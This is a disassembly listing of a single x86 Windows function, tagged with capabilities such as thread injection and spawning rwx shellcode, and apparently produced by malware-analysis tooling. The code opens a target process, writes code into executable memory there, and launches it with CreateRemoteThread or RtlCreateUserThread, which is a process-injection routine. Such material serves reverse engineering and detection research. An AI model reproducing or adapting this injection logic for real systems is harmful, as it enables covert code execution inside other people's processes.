Function at 0xa54040
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.00a53b00
add esp, 4
test eax, eax
je 0xa54069
jmp 0xa542a1
mov ecx, dword [ebp + 0xc]
push ecx
push 0x43a
call fcn.00a51cf0
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0xa54088
jmp 0xa542a1
mov edx, dword [ebp - 8]
push edx
call fcn.00a51f60
add esp, 4
test eax, eax
je 0xa5409d
jmp 0xa542a1
mov eax, dword [ebp + 8]
push eax
call fcn.00a526a0
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0xa540b7
jmp 0xa542a1
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00a53010
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0xa540d1
jmp 0xa542a1
call fcn.00a52690
push eax
call fcn.00a526a0
add esp, 4
cmp dword [ebp - 0x14], eax
je 0xa54104
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00a53f30
add esp, 0x10
mov dword [ebp - 4], eax
jmp 0xa542a1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00a53ee0
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0xa5411c
jmp 0xa542a1
push 0x40
push 0x1000
mov edx, dword [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0xa54141
jmp 0xa542a1
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0xa5427e
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 8]
sub ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
push 4
push 0x1000
push 8
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
je 0xa5427e
lea eax, [ebp - 0x18]
push eax
push 8
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, 0xa53d70
sub edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xc]
mov dword [ebp + 8], edx
mov dword [ebp - 0x24], 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0xa54217
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00a53cf0
add esp, 0xc
movzx eax, al
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 4], eax
jmp 0xa5425d
push 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
test eax, eax
jl 0xa5425d
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00a53cf0
add esp, 0xc
movzx edx, al
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.00a51ba0
add esp, 4
push 0x8000
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp - 4], 0
jne 0xa54299
push 0x8000
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor edx, edx
jne 0xa54054
mov eax, dword [ebp - 8]
push eax
call fcn.00a51ba0
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret